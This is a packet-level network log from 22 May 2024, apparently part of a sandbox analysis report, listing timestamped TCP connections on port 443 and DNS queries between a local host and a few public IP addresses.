May 22, 2024 20:01:43.744446039 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.744462967 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.744539976 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.744594097 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.744606018 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.759753942 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.759809017 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.759902000 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.760137081 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.760153055 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.792083025 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.792114019 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.819236994 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.819344997 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.819366932 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.824388981 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.824467897 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.824497938 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.826929092 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.826994896 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.827009916 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.830152035 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.830219984 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.830244064 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.832465887 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.832551003 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.832551003 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.832580090 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.832631111 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.836824894 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.838942051 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.839020967 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.839042902 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.841994047 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.842082977 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.842097998 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.845276117 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.845340967 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.845355034 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.847982883 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.848073959 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.848087072 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.858848095 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.858927011 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.858942032 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.903120041 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.904540062 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.907771111 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.907896996 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.907910109 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.910799980 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.910882950 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.911017895 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.911031008 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.911120892 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.913783073 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.918772936 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.918803930 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.919183969 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.919202089 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.926367044 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.926444054 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.926486015 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.926498890 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.926637888 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.928517103 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.928536892 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.928625107 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.933598042 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.933748007 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.936460018 CEST	49780	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.936546087 CEST	443	49780	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.936953068 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.937000990 CEST	49780	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.937058926 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.937309027 CEST	49780	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.937346935 CEST	443	49780	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.940854073 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.940972090 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.940984964 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.941028118 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.941142082 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.941188097 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.941188097 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.941206932 CEST	443	49778	104.17.2.184	192.168.2.17
May 22, 2024 20:01:43.942882061 CEST	59863	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:43.943173885 CEST	49778	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:43.950160980 CEST	49680	443	192.168.2.17	20.189.173.13
May 22, 2024 20:01:43.958039999 CEST	53	59863	1.1.1.1	192.168.2.17
May 22, 2024 20:01:43.958270073 CEST	59863	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:43.958270073 CEST	59863	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:43.976340055 CEST	53	59863	1.1.1.1	192.168.2.17
May 22, 2024 20:01:44.268847942 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.272214890 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.272237062 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.272578001 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.273224115 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.273224115 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.273246050 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.273293018 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.317187071 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.417315960 CEST	53	59863	1.1.1.1	192.168.2.17
May 22, 2024 20:01:44.418581963 CEST	59863	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:44.424350023 CEST	443	49780	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.424515963 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.424550056 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.424664974 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.424685001 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.424783945 CEST	49780	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.424854040 CEST	443	49780	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.425363064 CEST	443	49780	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.425367117 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.425474882 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.425486088 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.425662994 CEST	49780	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.425753117 CEST	443	49780	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.425880909 CEST	49780	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.428157091 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.428585052 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.428596020 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.430783033 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.430862904 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.430891991 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.430905104 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.430965900 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.432619095 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.435483932 CEST	53	59863	1.1.1.1	192.168.2.17
May 22, 2024 20:01:44.435575008 CEST	59863	53	192.168.2.17	1.1.1.1
May 22, 2024 20:01:44.466571093 CEST	443	49780	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.476876974 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.476893902 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.511864901 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.512170076 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.512183905 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.513643980 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.513664007 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.513829947 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.513840914 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.514112949 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.515356064 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.516257048 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.516508102 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.516519070 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.517990112 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.518136024 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.518146038 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.519778967 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.519933939 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.519943953 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.521123886 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.521296978 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.521306038 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.522548914 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.522696972 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.522707939 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.523900986 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.524193048 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.524204016 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.526993036 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.527019978 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.527040005 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.527069092 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.527081013 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.527169943 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.572154999 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.572170019 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.583535910 CEST	443	49780	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.583620071 CEST	443	49780	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.584827900 CEST	49780	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.585294008 CEST	49780	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.585331917 CEST	443	49780	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.599670887 CEST	59865	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.599688053 CEST	443	59865	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.599941969 CEST	59865	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.599941969 CEST	59865	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.599963903 CEST	443	59865	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.600197077 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.600260019 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.600281000 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.600867987 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.601140976 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.601154089 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.602345943 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.602447987 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.602458000 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.605376959 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.605384111 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.605684996 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.605698109 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.608083963 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.608123064 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.608230114 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.608230114 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.608244896 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.610841036 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.611044884 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.611057043 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.611180067 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.611721992 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.611932993 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.614132881 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.614583969 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.615196943 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.615322113 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.617305040 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.617408991 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.686583996 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.686733961 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.687869072 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.687997103 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.689066887 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.689308882 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.691356897 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.691519976 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.693065882 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.693192959 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.694046974 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.694225073 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.695854902 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.695947886 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.696778059 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.696862936 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.698618889 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.698827982 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.700442076 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.700701952 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.701348066 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.701447010 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.702163935 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.702264071 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.703835011 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.704015017 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.704648018 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.704866886 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.706309080 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.706404924 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.714272022 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.714524031 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.714610100 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.714704037 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.715498924 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.715867996 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.716460943 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.716576099 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.774580002 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.774688005 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.775258064 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.775386095 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.776843071 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.777134895 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.778608084 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.778672934 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.779469013 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.779567003 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.781234026 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.781543016 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.782146931 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.782313108 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.783011913 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.783160925 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.785021067 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.785145044 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.786705017 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.786817074 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.787447929 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.787619114 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.789144039 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.789254904 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.790052891 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.790153027 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.790865898 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.791019917 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.798868895 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.798877954 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.798929930 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.799309015 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.799309015 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.799329996 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.799576044 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.804142952 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.804160118 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.804263115 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.804274082 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.811786890 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.811805010 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.811958075 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.811978102 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.819921017 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.819931984 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.820082903 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.820112944 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.863866091 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.863888979 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.863965034 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.864001036 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.864034891 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.868797064 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.868819952 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.868905067 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.868916988 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.873539925 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.873559952 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.873652935 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.873668909 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.879066944 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.879084110 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.879282951 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.879304886 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.881908894 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.881927967 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.882105112 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.882119894 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.885708094 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.885720015 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.885875940 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.885886908 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.889214993 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.889230013 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.889314890 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.889322996 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.889353037 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.892400026 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.892416954 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.892477989 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.892487049 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.892524958 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.938149929 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.950283051 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.950303078 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.950402975 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.950431108 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.950465918 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.950515985 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.954724073 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.954797029 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:44.954864025 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.954864025 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.954974890 CEST	49779	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:44.955015898 CEST	443	49779	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.060359001 CEST	59866	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:45.060375929 CEST	443	59866	188.114.97.3	192.168.2.17
May 22, 2024 20:01:45.060444117 CEST	59866	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:45.060704947 CEST	59866	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:45.060717106 CEST	443	59866	188.114.97.3	192.168.2.17
May 22, 2024 20:01:45.116607904 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.116641998 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.116714954 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.117000103 CEST	59867	443	192.168.2.17	104.17.2.184
